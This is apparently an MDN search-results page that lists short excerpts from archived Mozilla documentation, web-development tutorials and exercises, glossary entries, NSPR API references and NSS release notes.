... newly created threads in js from mozilla_1_8_branch causes to hang in windows patch from bug 351602 should fix the problem.
... rhino what is the performance between rhino js and native java rhino js is significantly slower in run-time than native java.
...And 4 more matches
NPAPI plugin developer guide - Archive of obsolete content
plugins are shared libraries that users can install to display content that the application itself can't display natively.
... for example, the adobe flash plug-in is used to access flash content (including videos and certain interactive applications), and the quicktime and realplayer plugins are used to play special format videos in a web page.
...if there are plugin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible.
...And 4 more matches
NPN_Version - Archive of obsolete content
syntax #include <npapi.h> void npn_version(int* plugin_major, int* plugin_minor, int* netscape_major, int* netscape_minor); parameters the function has the following parameters: plugin_major pointer to a plug-in's major version number; changes with major code release number.
... netscape_major pointer to the browser's major version; changes with major code release number.
... netscape_minor pointer to the browser's version; changes with point release number.
...And 4 more matches
NPP_WriteReady - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary determines maximum number of bytes that the plug-in can consume.
... description the browser calls npp_writeready before each call to npp_write to determine whether a plug-in can receive data and how many bytes it can receive.
... this function allows the browser to send only as much data to the instance as it can handle at one time, making resource use more efficient for both the browser and plug-in.
...And 4 more matches
Version - Archive of obsolete content
different people and groups have largely unilaterally created specifications that they called rss.
...they are listed in chronological order of when they were released.
... note: in the list below, although rss 1.0 seems to be out of place, it is actually in the correct place chronologically.
...And 4 more matches
Confidentiality, Integrity, and Availability - Archive of obsolete content
in other words, only the people who are authorized to do so can gain access to sensitive data.
...such a failure of confidentiality, commonly known as a breach, typically cannot be remedied.
...if your bank records are posted on a public website, everyone can know your bank account number, balance, etc., and that information can't be erased from their minds, papers, computers, and other places.
...And 4 more matches
Create Your Own Firefox Background Theme - Archive of obsolete content
you can submit it right now!
...duplicate names are not allowed, so you may need to try a few times to find a unique name.
... pick a category and tags — select a category and enter some tags that best describe your theme.
...And 4 more matches
Theme changes in Firefox 4 - Archive of obsolete content
/chrome/browser/skin contains application-specific skin resource files.
...the theme can now override the value by setting a special css property on the toolbar.
... overriding the default values themes can override the value of the iconsize attribute on each toolbar by specifying a special value for the counter-reset css property on the toolbar itself.
...And 4 more matches
Settings - Archive of obsolete content
the debugger has its own settings menu, which you can access from an icon in the toolbar: each setting is a simple on/off switch: auto prettify minified sources with this option enabled, the debugger will automatically detect minified js files and pretty-print them.
... pause on exceptions when this option is enabled, execution of the script will automatically pause whenever a javascript exception is thrown.
... ignore caught exceptions if this option is set (it is set by default) and "pause on exceptions" is set, then execution will pause on an exception only if that exception is not caught.
...And 4 more matches
-ms-content-zoom-snap-type - Archive of obsolete content
indicates that zooming is unaffected by any defined snap-points.
... proximity indicates that the motion of the content after the contact is picked up may be adjusted if the content would normally stop "close enough" to a snap-point.
... mandatory indicates that the motion of the content after the contact is picked up is always adjusted so that it lands on a snap-point.
...And 4 more matches
-ms-ime-align - Archive of obsolete content
the -ms-ime-align css property is a microsoft extension aligning the input method editor (ime) candidate window box relative to the element on which the ime composition is active.
... ime candidate lists are positioned on the screen with sufficient size to allow basic text input.
... in some cases, the ime may enforce a reasonable minimum size.
...And 4 more matches
-ms-scroll-translation - Archive of obsolete content
the -ms-scroll-translation css property is a microsoft extension that specifies whether vertical-to-horizontal scroll wheel translation occurs on the specified element.
... initial valuenoneapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values vertical-to-horizontal vertical to horizontal translation, as described in remarks, will take place when appropriate.
... formal syntax none | vertical-to-horizontal specifications not part of any specification.
...And 4 more matches
display-outside - Archive of obsolete content
lues */ display-outside: block-level; display-outside: inline-level; display-outside: run-in; display-outside: contents; display-outside: none; display-outside: table-row-group; display-outside: table-header-group; display-outside: table-footer-group; display-outside: table-row; display-outside: table-cell; display-outside: table-column-group; display-outside: table-column; display-outside: table-caption; display-outside: ruby-base; display-outside: ruby-text; display-outside: ruby-base-container; display-outside: ruby-text-container; /* global values */ display-outside: inherit; display-outside: initial; display-outside: unset; value not found in db!
... table-row-group, table-header-group, table-footer-group, table-row, table-cell, table-column-group, table-column, table-caption the element is an internal table element, and participates in a table layout context.
... table-cell and table-caption are layout-specific leaf types; the rest are layout-specific internal types.
...And 4 more matches
Array.observe() - Archive of obsolete content
however, this api has been deprecated and removed from browsers.
... you can use the more general proxy object instead.
... syntax array.observe(arr, callback) parameters arr the array to be observed.
...And 4 more matches
Array comprehensions - Archive of obsolete content
comprehensions can often be used in place of calls to map() and filter(), or as a way of combining the two.
... var numbers = [1, 2, 3, 4]; var doubled = [for (i of numbers) i * 2]; console.log(doubled); // logs 2,4,6,8 this is equivalent to the following map() operation: var doubled = numbers.map(i => i * 2); comprehensions can also be used to select items that match a particular expression.
... here is a comprehension which selects only even numbers: var numbers = [1, 2, 3, 21, 22, 30]; var evens = [for (i of numbers) if (i % 2 === 0) i]; console.log(evens); // logs 2,22,30 filter() can be used for the same purpose: var evens = numbers.filter(i => i % 2 === 0); map() and filter() style operations can be combined into a single array comprehension.
...And 4 more matches
New in JavaScript 1.8 - Archive of obsolete content
using javascript 1.8 in order to use some of the new features of javascript 1.8 in html, use: <script type="application/javascript;version=1.8"> ...
...</script> another way (not recommended) to do this is to use the deprecated <script> language attribute and define it as "javascript1.8".
... when using the javascript shell, javascript xpcom components, or xul <script> elements, the latest js version (js1.8 in mozilla 1.9) is used automatically (bug 381031, bug 385159).
...And 4 more matches
ECMAScript 2015 support in Mozilla - Archive of obsolete content
ecmascript 2015 is the sixth edition of the ecmascript language specification standard.
... it defines the standard for the javascript implementation in spidermonkey, the engine used in firefox and other mozilla applications.
...in august 2014, the ecmascript 2015 draft specification was feature frozen and went through a stabilization and bug fixing period.
...And 4 more matches
Packages - Archive of obsolete content
you can automatically access it without using a constructor or calling a method.
...the java, netscape, and sun properties represent the packages java.*, netscape.*, and sun.* respectively.
...for example, you can access a constructor of the frame class as follows: var theframe = new packages.java.awt.frame(); for convenience, javascript provides the top-level netscape, sun, and java objects that are synonyms for the packages properties with the same names.
...And 4 more matches
Building Mozilla XForms - Archive of obsolete content
getting started things to know first: the xforms extension has a dependency on the schema-validation extension, so you need to build both (that's done automatically) mozilla switched from cvs to mercurial starting with firefox 3.5.
... before you can start building the xforms extension, you should check your mozilla build environment by doing a regular firefox build.
...ms/schema-validation code does not build with firefox 3.5 any more not supported firefox 3.6 gecko 1.9.2 xforms/schema-validation code does not build with firefox 3.6 any more not developed any more last release: 0.8.6 firefox 4 gecko 2.0 mercurial, repositories mozilla-central xforms schema-validation mostly works upcoming 0.8.7 release if you have your first working firefox build, you can go on with building the xforms extension.
...And 4 more matches
XForms Alert Element - Archive of obsolete content
introduction this message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selectable values (see the spec).
... the message of the alert element can exist in instance data, in a remote document, or as inline text.
... type restrictions the alert element can be bound to any simple content.
...And 4 more matches
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
summary: an obscure bug in gecko causes list-item markers to be differently sizeed than the text of the list item, but there is a fix authors can use.
... learn how to correctly size list item markers in gecko 0.9.4, the basis of netscape 6.2.x and compuserve 7.
...while this bug was corrected shortly after 0.9.4 was finished, the bug still affects all netscape 6.2.x versions, as well as compuserve 7.0.
...And 4 more matches
Popup Window Controls - Archive of obsolete content
popup window controls configuration using the preference for privacy & security > popup windows, users can: allow all sites to open popup windows except for sites which the user has explicity denied permission what popup windows are suppressed?
... mozilla will attempt to suppress all calls to window.open() which occur in the following circumstances: global script which is executed as the document is loading script executed as part of a onload event handler script executed in settimeout() or setinterval() what popup windows are not suppressed?
... detecting suppressed popups windows if a user has popup controls enabled for your site, any attempt to call window.open in global script, in an onload handler or in settimeout() or setinterval() will return null rather than a reference to the opened window.
...And 4 more matches
Game over - Game development
« previousnext » this is the 5th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson5.html.
...here's the piece of code from the third lesson where we made the ball bounce off the walls: if(x + dx > canvas.width-ballradius || x + dx < ballradius) { dx = -dx; } if(y + dy > canvas.height-ballradius || y + dy < ballradius) { dy = -dy; } instead of allowing the ball to bounce off all four walls, let's only allow three now — left, top and right.
...And 4 more matches
Mouse controls - Game development
« previousnext » this is the 9th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson9.html.
...add the following line in the same place as the other event listeners, just below the keyup event: document.addeventlistener("mousemove", mousemovehandler, false); anchoring the paddle movement to the mouse movement we can update the paddle position based on the pointer coordinates — the following handler function will do exactly that.
...And 4 more matches
Bounce off the walls - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson06.html.
... now that physics have been introduced, we can start implementing collision detection into the game — first we'll look at the walls.
... bouncing off the world boundaries the easiest way to get our ball bouncing off the walls is to tell the framework that we want to treat the boundaries of the <canvas> element as walls and not let the ball move past them.
...And 4 more matches
Load the assets and print them on screen - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson03.html.
... loading the ball sprite loading images and printing them on our canvas is a lot easier using phaser than using pure javascript.
...in our case, we will load the image for our ball.
...And 4 more matches
The score - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson11.html.
... having a score can also make the game more interesting — you can try to beat your own highscore, or your friend's.
...var scoretext; var score = 0; adding score text to the game display now add this line at the end of the create() function: scoretext = game.add.text(5, 5, 'points: 0', { font: '18px arial', fill: '#0095dd' }); the text() method can take four parameters: the x and y coordinates to draw the text at.
...And 4 more matches
CORS - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge cross-origin resource sharing (cors) on mdn cross-origin resource sharing on wikipedia cors headers access-control-allow-origin indicates whether the response can be shared.
... access-control-allow-credentials indicates whether or not the response to the request can be exposed when the credentials flag is true.
... access-control-allow-headers used in response to a preflight request to indicate which http headers can be used when making the actual request.
...And 4 more matches
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
css (cascading style sheets) is a declarative language that controls how webpages look in the browser.
...css usually styles html elements, but can be also used with other markup languages like svg or xml.
...here is an example that makes every html paragraph yellow against a black background: /* the selector "p" indicates that all paragraphs in the document will be affected by that rule */ p { /* the "color" property defines the text color, in this case yellow.
...And 4 more matches
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
the hypertext transfer protocol (http) is the underlying network protocol that enables transfer of hypermedia documents on the web, typically between a browser and a server so that humans can read them.
... the current version of the http specification is called http/2.
... as part of a uri, the "http" within "http://example.com/" is called a "scheme".
...And 4 more matches
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
a man-in-the-middle attack (mitm) intercepts a communication between two systems.
... for example, a wi-fi router can be compromised.
... comparing this to physical mail: if you're writing letters to each other, the mailman can intercept each letter you mail.
...And 4 more matches
Signature (functions) - MDN Web Docs Glossary: Definitions of Web-related terms
a signature can include: parameters and their types a return value and type exceptions that might be thrown or passed back information about the availability of the method in an object-oriented program (such as the keywords public, static, or prototype).
...the type will get determined automatically while the program is being processed.
... a signature in javascript can still give you some information about the method: myobject.prototype.myfunction(value) the method is installed on an object called myobject.
...And 4 more matches
A cool-looking box - Learn web development
in this assessment, you'll get some more practice in creating cool-looking boxes by trying to create an eye-catching box.
... starting point to get this assessment started, you should: make local copies of the starting html and css — save them as index.html and style.css in a new directory.
... project brief your task is to create a cool, fancy box and explore the fun we can have with css.
...And 4 more matches
Creating fancy letterheaded paper - Learn web development
if you want to make the right impression, writing a letter on nice letterheaded paper can be a really good start.
... starting point to get this assessment started, you should: make local copies of the html and css — save them as index.html and style.css in a new directory.
... save local copies of the top, bottom and logo images in the same directory as your code files.
...And 4 more matches
Test your skills: The Box Model - Learn web development
note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...what can you add to your css to cause the size of the margin, padding, and border to be respected by the other lines, while still keeping the element inline?
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 4 more matches
Test your skills: Selectors - Learn web development
note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... cause text wrapped in a span to have a font-size of 200%.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 4 more matches
Test your skills: tables - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...there are a number of ways that you can achieve this, but i suggest following similar patterns as used in the tutorial to do the following things.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 4 more matches
Test your skills: values and units - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... you can find conversions for the hex color at this link.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 4 more matches
Test your skills: Flexbox - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... try updating the live code below to recreate the finished example: additional questions: can you now make the first item twice the size of the other items?
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 4 more matches
Test your skills: Multicol - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... multicol three cause the element containing the heading and subheading to span across all columns so it looks like the image.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 4 more matches
Test your skills: position - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... try updating the live code below to recreate the finished example: as an extra challenge, can you change the target to display underneath the text?
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 4 more matches
CSS layout - Learn web development
we have covered the necessary prerequisites so we can now dive deep into css layout, looking at different display settings, modern layout tools like flexbox, css grid, and positioning, and some of the legacy techniques you might still want to know about.
... introduction to css layout this article will recap some of the css layout features we've already touched upon in previous modules — such as different display values — and introduce some of the concepts we'll be covering throughout this module.
...after studying this guide you can test your flexbox skills to check your understanding before moving on.
...And 4 more matches
Using your new knowledge - Learn web development
previous overview: first steps with the things you have learned in the last few lessons you should find that you can format simple text documents using css, to add your own style to them.
... starting point you can work in the live editor below, or you can download the starting point to work with in your own editor.
...if you prefer you could move this css to a separate file when you create the example on your local computer.
...And 4 more matches
What are hyperlinks? - Learn web development
summary hyperlinks, usually called links, are a foundational concept behind the web.
... back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands: url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web revolves around documents and how to access them.
...links can correlate any text string with a url, such that the user can instantly reach the target document by activating the link.
...And 4 more matches
Test your skills: Basic controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... you should also associate them with their text labels semantically.
... assessment or further help you can practice these examples in the interactive editors above.
...And 4 more matches
Test your skills: Form structure - Learn web development
note: you can try out the solution in the interactive editor below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... mark up each text label with an appropriate element so that it is semantically associated with its respective form field.
... assessment or further help you can practice this example in the interactive editor above.
...And 4 more matches
What will your website look like? - Learn web development
a website can do basically anything, but, for your first try, you should keep things simple.
...what kind of font is appropriate: formal, cartoony, bold and loud, subtle?
...this is sometimes called a design guide, design system, or brand book, and you can see an example at the firefox photon design system.
...And 4 more matches
Getting started with the Web - Learn web development
getting started with the web is a concise series introducing you to the practicalities of web development.
...what information are you showcasing?
...we outline a simple method you can follow to plan out your site's content and design.
...And 4 more matches
Structuring a page of content - Learn web development
create the example on your local computer, or alternatively use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... project brief for this project, your task is to take the content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it.
... hints and tips use the w3c nu html checker to catch unintended mistakes in your html, css, and svg — mistakes you might have otherwise missed — so that you can fix them.
...And 4 more matches
Assessment: Structuring planet data - Learn web development
starting point to start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer.
... the finished table should look like this: you can also see the example live here (no looking at the source code — don't cheat!) steps to complete the following steps describe what you need to do to complete the table example.
... add the provided caption to your table.
...And 4 more matches
Test your skills: Loops - Learn web development
note: you can try out solutions for the tasks below by downloading the code, putting it in an online tool such as codepen, jsfiddle, or glitch, then working on the tasks.
... we didn't provide live editable versions of these tasks because of the risk of creating infinite loops and crashing the assessment page!
... assessment or further help you can practice these examples in the interactive editors above.
...And 4 more matches
Client-side web APIs - Learn web development
when writing client-side javascript for web sites or applications, you will quickly encounter application programming interfaces (apis).
...those modules typically involve simple api usage, as it is often difficult to write client-side javascript examples without them.
...in this article, we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways.
...And 4 more matches
JavaScript First Steps - Learn web development
in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
... a first splash into javascript now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial.
... storing the information you need — variables after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level.
...And 4 more matches
Git and GitHub - Learn web development
different team members will commonly want to create their own separate versions of the code (called branches in git), work on a new feature in that version, and then get it merged in a controlled manner (in github we use pull requests) with the master version when they are done with it.
... note: github is not the only site/toolset you can use with git.
...eventually we will are aiming to have our own dedicated git/github course, but for now, these will help you get to grips with the subject in hand.
...And 4 more matches
Creating a Firefox sidebar
web publishers can offer visitors a firefox sidebar to encourage their engagement.
...you can choose either depending on your needs and resources.
...such kind of sidebar can be a simple web panel or a full-featured extension that is completely integrated with the browser.
...And 4 more matches
Makefile - variables
note: non-functional links can be fixed by inserting en/.
... local_includes allow use of moz_objdir in .mozconfig with older gnu gcc on beos.
... dist_files a list of files copied into the distribution archive(~application.ini).
...And 4 more matches
Makefiles - Best practices and suggestions
dependency builds - a second invocation of make within a sandbox should always be a nop.
... if a unit test is platform specific write your makefile so it can be used on all platforms but only do work on the specific hardware or class of hardware.
... for classes of hardware (unix/windows) place your makefile in a subdirectory, unix/makefile.in always include dependencies when creating a target initial make call should always be the workhorse: build, generate, deploy, install, etc.
...And 4 more matches
Tracking Protection
when firefox blocks content, it logs a message to the web console like this: the resource at "http://some/url" was blocked because tracking protection is enabled.
... note that with firefox for android, you can access console output using the remote debugger.
... if tracking cookies were present, you would be able to view the list by clicking on "blocking tracking cookies" in the above image to view the following popup: you can click "manage content blocking" to change the blocking settings: how does firefox choose what to block?
...And 4 more matches
Firefox and the "about" protocol
the most useful is the url about:config, which displays preferences and settings that can be inspected and changed.
...here is a complete list of urls in the about: pseudo protocol: about: page description about:about provides an overview of all about: pages available for your current firefox version about:addons add-ons manager about:buildconfig displays the configuration and platform used to build firefox about:cache displays information about the memory, disk, and appcache about:checkerboard switches to the checkerboarding measurement page, which allows to detect checkerboarding issues about:config provides a way to inspect and change firefox preferences and settings about:compat lists overriding site compatability fixes, linked to specific bug issues.
... about:crashes lists all crashes, which happened during the runtime of firefox (in case the user enabled the crash reporter) about:credits lists all contributors to the firefox project about:debugging switches to the developer tools debugging page, which allows you to debug add-ons, tabs and service workers about:devtools summarizes the developer tools and provides links to documentation for each tool about:downloads displays all downloads done within firefox about:home start page of firefox when opening a new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc ...
...And 4 more matches
Firefox UI considerations for web developers
while both of these can be edited by the user, you may wish to ensure that your site provides a good icon to use in places like this.
...this list is created by a mozilla service called tippy top.
... if no high-resolution icon is found, a screenshot is taken of the site; this screenshot is then scaled and cropped to fit in the space allotted to the icon.
...And 4 more matches
mozbrowserfindchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... details the details property returns an anonymous javascript object with the following properties: active a boolean indicating whether a search is currently active (true), or not (false.) searchstring a domstring representing the string that is currently being searched for.
...And 4 more matches
mozbrowsermetachange
the mozbrowsermetachange event is fired when a <meta> element related to web applications is added, removed or changed.
... see below for the applicable types.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
...And 4 more matches
mozbrowsershowmodalprompt
the mozbrowsershowmodalprompt event is fired when the content of a browser <iframe> calls the window.alert(), window.confirm(), or window.prompt() methods.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...And 4 more matches
How to get a process dump with Windows Task Manager
introduction when tracking down the causes of process hangs, it is often helpful to obtain a process dump while the process is experiencing a hang.
...(to get a process dump for thunderbird or some other product, substitute the product name where ever you see firefox in these instructions.) caution the memory dump that will be created through this process is a complete snapshot of the state of firefox when you create the file, so it contains urls of active tabs, history information, and possibly even passwords depending on what you are doing when the snapshot is taken.
... it is advisable to create a new, blank profile to use when reproducing the hang and capturing the memory dump.
...And 4 more matches
AddonInstall
instances can be created using the getinstallforfile() or getinstallforurl() methods on the addonmanager.
...this can be canceled at any time with the cancel() method.
... method overview void install() void cancel() void addlistener(in installlistener listener) void removelistener(in installlistener listener) properties attribute type description name string the name of the add-on being installed.
...And 4 more matches
UpdateListener
an updatelistener receives messages from an update check for a single add-on, though it is possible to pass the same updatelistener to as many calls to findupdates() as you like.
... for each individual update check, the following methods will be called on the listener: either oncompatibilityupdateavailable() or onnocompatibilityupdateavailable(), depending on whether compatibility information for the requested application version was seen.
... method overview void oncompatibilityupdateavailable(in addon addon) void onnocompatibilityupdateavailable(in addon addon) void onupdateavailable(in addon addon, in addoninstall install) void onnoupdateavailable(in addon addon) void onupdatefinished(in addon addon, in integer error) methods oncompatibilityupdateavailable() called when the update check found compatibility information for the application and platform version that the update check was being performed for.
...And 4 more matches
Deferred
note: this function is bound to its associated promise when promise.defer() is called, and can be called with any value of this.
... note: calling this method with a pending promise as the avalue argument, and then calling it again with another value before the promise is resolved or rejected, will have no effect the second time, as the associated promise is already resolved to the pending promise value as its resolution.
... note: this function is bound to its associated promise when promise.defer() is called, and can be called with any value of this.
...And 4 more matches
SourceMap.jsm
get a reference to the module: let sourcemap = {}; components.utils.import('resource:///modules/devtools/sourcemap.jsm', sourcemap); sourcemapconsumer a sourcemapconsumer instance represents a parsed source map which we can query for information about the original file positions by giving it a file position in the generated source.
... new sourcemapconsumer(rawsourcemap) the only parameter is the raw source map (either as a string which can be json.parse'd, or an object).
... names: an array of identifiers that can be referenced by individual mappings.
...And 4 more matches
MathML Demo: <mo> - operator, fence, separator, or accent
operator and relations center vertically on the math axis.
...they can be viewed as stretched versions of short arrows.
... \longleftarrow can be scripted as <mo>&xlarr;</mo> or as <mo stretchy="true" minsize="1.8">&larr;</mo>.
...And 4 more matches
Measuring performance using the PerfMeasurement.jsm code module
note: the perfmeasurement.jsm javascript code module can only be used from chrome -- that is, from within the application itself or an add-on.
... the first thing you need to do is to import the module into your scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") you can then create a perfmeasurement object.
...for instance, let's measure instructions executed, cache references, and cache misses: let monitor = new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.cache_references | perfmeasurement.cache_misses); this creates a new perfmeasurement object, configured to record the specified event types.
...And 4 more matches
Profiling with Instruments
instruments can be used for memory profiling and for statistical profiling.
...click "all processes" and select "firefox" from the "running applications" section.
... how do we monitor performance counters (cache miss etc.)?
...And 4 more matches
Productization guide
the web services that make up the productization of mozilla software are often specific to a local market.
... for example, a search provider can deliver a very good quality of search results — but only in a specific country or language, and we have to take this into account when considering default search engines for a locale.
... hence there is a need to customize the set of default web services on a per-locale basis in order to ensure a good user experience across all locales.
...And 4 more matches
Memory Management Operations
nspr provides heap-based memory management functions that map to the familiar malloc(), calloc(), realloc(), and free().
... memory allocation functions memory allocation macros memory allocation functions nspr has its own heap, and these functions act on that heap.
... libraries built on top of nspr, such as the netscape security libraries, use these functions to allocate and free memory.
...And 4 more matches
PRTimeParameters
syntax #include <prtime.h> typedef struct prtimeparameters { print32 tp_gmt_offset; print32 tp_dst_offset; } prtimeparameters; description each geographic location has a standard time zone, and if daylight saving time (dst) is practiced, a daylight time zone.
... the prtimeparameters structure represents the local time zone information in terms of the offset (in seconds) from gmt.
... the overall offset is broken into two components: tp_gmt_offset the offset of the local standard time from gmt.
...And 4 more matches
PR_CWait
wait for a notification that a monitor's state has changed.
... timeout the amount of time (in printervaltime units) that the thread is willing to wait for an explicit notification before being rescheduled.
... returns the function returns one of the following values: pr_success indicates either that the monitored object has been notified or that the interval specified in the timeout parameter has been exceeded.
...And 4 more matches
PR_dtoa
decpt a pointer to a memory location where the runtime will store the offset, relative to the beginning of the output string, of the conversion's decimal point.
... sign a location where the runtime can store an indication that the conversion was of a negative value.
... *rve if not null this location is set to the address of the end of the result.
...And 4 more matches
PR_strtod
syntax #include <prdtoa.h> prfloat64 pr_strtod(const char *s00, char **se); parameters the function has these parameters: s00 the input string to be scanned.
... se a pointer that, if not null, will be assigned the address of the last character scanned in the input string.
...if the parameter se is not null the location it references is also set.
...And 4 more matches
NSS 3.14.1 release notes
bug 812399 - in nss 3.14, a regression caused bug 641052 / cve-2011-3640 to be re-introduced under certain situations.
... this regression only affected applications that initialize nss via the nss_nodb_init function.
... bug 357025 - nss 3.14 added support for tokens that make use of cka_always_authenticate.
...And 4 more matches
NSS 3.15.2 release notes
specifically, the following cipher suites are now supported: tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256 new functions pk11_cipherfinal has been introduced, which is a simple alias for pk11_digestfinal.
...new pkcs #11 mechanisms no new pkcs#11 mechanisms have been introduced notable changes in nss 3.15.2 bug 880543 - support for aes-gcm ciphersuites that use the sha-256 prf bug 663313 - md2, md4, and md5 signatures are no longer accepted for ocsp or crls, consistent with their handling for general certificate signatures.
... bug 884178 - add pk11_cipherfinal macro bugs fixed in nss 3.15.2 bug 734007 - sizeof() used incorrectly bug 900971 - nssutil_readsecmoddb() leaks memory bug 681839 - allow ssl_handshakenegotiatedextension to be called before the handshake is finished.
...And 4 more matches
NSS 3.15.4 release notes
bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method.
... support sha-1 signatures with tls 1.2 client authentication.
... new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post.
...And 4 more matches
NSS 3.15.5 release notes
nss 3.15.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_5_rtm/src/ new in nss 3.15.5 new functionality added support for the tls application layer protocol negotiation (alpn) extension.
... two ssl socket options, ssl_enable_npn and ssl_enable_alpn, can be used to control whether npn or alpn (or both) should be used for application layer protocol negotiation.
...nss automatically adds the padding extension to clienthello when necessary.
...And 4 more matches
NSS 3.16.3 release notes
nss 3.16.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_3_rtm/src/ new in nss 3.16.3 this release consists primarily of ca certificate changes as listed below, and fixes an issue with a recently added utility function.
... notable changes in nss 3.16.3 the following 1024-bit ca certificates were removed cn = entrust.net secure server certification authority sha1 fingerprint: 99:a6:9b:e6:1a:fe:88:6b:4d:2b:82:00:7c:b8:54:fc:31:7e:15:39 cn = gte cybertrust global root sha1 fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74 ou = valicert class 1 policy validation authority sha1 fingerprint: e5:df:74:3c:b6:01:c4:9b:98:43:dc:ab:8c:e8:6a:81:10:9f:e4:8e o...
...u = valicert class 2 policy validation authority sha1 fingerprint: 31:7a:2a:d0:7f:2b:33:5e:f5:a1:c3:4e:4b:57:e8:b7:d8:f1:fc:a6 ou = valicert class 3 policy validation authority sha1 fingerprint: 69:bd:8c:f4:9c:d3:00:fb:59:2e:17:93:ca:55:6a:f3:ec:aa:35:fb additionally, the following ca certificate was removed as requested by the ca ou = tdc internet root ca sha1 fingerprint: 21:fc:bd:8e:7f:6c:af:05:1b:d1:b3:43:ec:a8:e7:61:47:f2:0f:8a the following ca certificates were added cn = certification authority of wosign sha1 fingerprint: b9:42:94:bf:91:ea:8f:b6:4b:e6:10:97:c7:fb:00:13:59:b6:76:cb cn = ca 沃通根证书 sha1 fingerprint: 16:32:47:8d:89:f9:21:3a:92:00:85:63:f5:a4:a7:d3:1...
...And 4 more matches
NSS 3.18.1 release notes
this is a patch release to update the list of root ca certificates.
... notable changes in nss 3.18.1 the following ca certificate had the websites and code signing trust bits restored to their original state to allow more time to develop a better transition strategy for affected sites.
...but when firefox 38 went into beta, there was a huge spike in the number of certificate verification errors attributed to this change.
...And 4 more matches
NSS 3.28.1 release notes
this is a patch release to update the list of root ca certificates, and address a minor tls compatibility issue, that some applications experienced with nss 3.28.
